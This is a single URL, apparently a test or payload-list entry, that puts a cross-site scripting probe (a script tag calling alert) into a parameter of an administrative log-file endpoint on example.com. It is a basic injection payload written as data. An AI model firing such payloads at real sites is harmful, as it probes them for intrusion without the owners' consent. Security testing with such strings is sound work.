http://www.example.com/ADM:GETLOGFILE?PARAMS=<script>alert("hello")</script>